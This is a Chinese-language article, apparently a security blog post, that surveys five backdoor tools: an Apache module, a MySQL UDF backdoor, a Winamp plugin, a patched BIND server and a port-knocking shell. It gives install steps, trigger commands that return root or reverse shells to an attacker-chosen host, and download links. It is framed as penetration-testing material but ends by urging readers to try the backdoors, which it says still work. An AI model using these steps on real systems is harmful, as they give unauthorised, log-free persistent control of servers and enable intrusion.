目前,高级的rootkit技术可以帮助你在渗透中拿到一个shell后进行持久性控制。此外,还有供应商故意提供了一些植入后门,但那就是截然不同的故事了。尽管各式花样翻新的技术与代码层出不穷,可你还记得曾经用过的那些后门吗?
本文介绍了5种远程控制工具(Remote Administration Tools)RAT ,又称“后门”,这完全是根据作者个人喜好挑选的。这是我进行合法渗透测试时所使用的工具,它们对于验证渗透的持久性与测量防御手段的有效性提供了重要的帮助。
1.mod_rootme——Apache模块后门(2004)
“mod_rootme是一个非常酷的模块,它可以在Apache中安装一个后门,你只需要进行一个简单的GET请求,就可以拿到一个root权限的shell,并且在系统中没有任何日志记录。”
作为最著名的工具之一,你只需要执行一个简单的make命令来编译共享库,将它复制到模块目录,在httpd.conf中写入入“LoadModule rootme2_module /usr/lib/apache2/modules/mod_rootme2.so”,然后使用‘apachetl stop;apachectl start’重启httpd后台进程。之后,通过“GET root”命令你就得到了一个root权限的shell。
下载:https://packetstormsecurity.com/files/33652/mod_rootme-0.3.tgz.html
2.raptor_winudf.sql —— MySQL UDF后门(2004-2006)
“这是一个基于UDF(用户定义函数)机制的MySQL后门工具。可以用它来产生一个反弹shell(netcat UDF监听80端口)或者执行一条系统命令(exec UDF)。”
对于这个后门,你可以使用一个简单的命令‘#mysql –h x.x.x.x < raptor_winudf.sql’将后门作为一个用户定义函数注入到MySQL中。这样你便可以从MySQL shell执行‘mysql > select exec('ipconfig > c:\\out.txt');’命令。
这个反弹shell实现了一个有趣的功能,可以使用命令‘mysql> select netcat('y.y.y.y');’来调用,之后就会发送一个交互式shell在指定的主机(y.y.y.y)的80端口上。
下载 (Win32): http://www.0xdeadbeef.info/exploits/raptor_winudf.tgz
下载 (Linux): http://www.0xdeadbeef.info/exploits/raptor_udf2.c
截图来源:infamoussyn
3. get_wbkdr.dll插件——Winamp播放器后门(2006)
“wbkdr是非常著名的高保真音乐播放器软件Winamp后门的一个POC,它利用了插件接口,在24501端口中调用cmd.exe。”
下载:https://packetstormsecurity.com/files/53268/wbkdr.zip.html
4.BIND反弹shell后门(2005)
BIND是世界上最流行的DNS服务器软件之一。这个后门使用了BIND未发布的补丁,是我的一个来自阿根廷的朋友开发的。基本上,需要你以root用户的身份来打补丁、编译以及运行服务。一旦运行,用‘nslookup backdoorpassword:x.x.x.x:port target_DNS_server’ 发送一个DNS请求,将会在主机x.x.x.x的给定端口上触发一个反弹shell。
5.Knock-out—— 基于端口敲门(port-knocking)的后门
这是我使用数据包嗅探库libpcap(服务器)和数据包构造库libnet(客户端)制作的后门。我运用了端口敲门技术,它可以是一个绑定端口的shell也可以是一个反弹型的shell。服务器与客户端使用相同的配置文件来决定使用哪些端口以及发送每个网络包时间所需要的时间差。Knock-out支持TCP和UDP,并且最近在Linux主机中仍然可以工作(测试系统Ubuntu Server 14.04)。
下载:https://packetstormsecurity.com/files/52834/knock-out.tar.gz.html
作者寄语
这些后门至今仍然有效,或许你可以尝试一下。同时,我鼓励大家与我们分享你见过的有趣的后门、你喜欢的后门、你用过的最特别的后门以及你所钟爱的后门。别忘了在Twitter上使用#oldschoolbackdoors(老式后门)标签!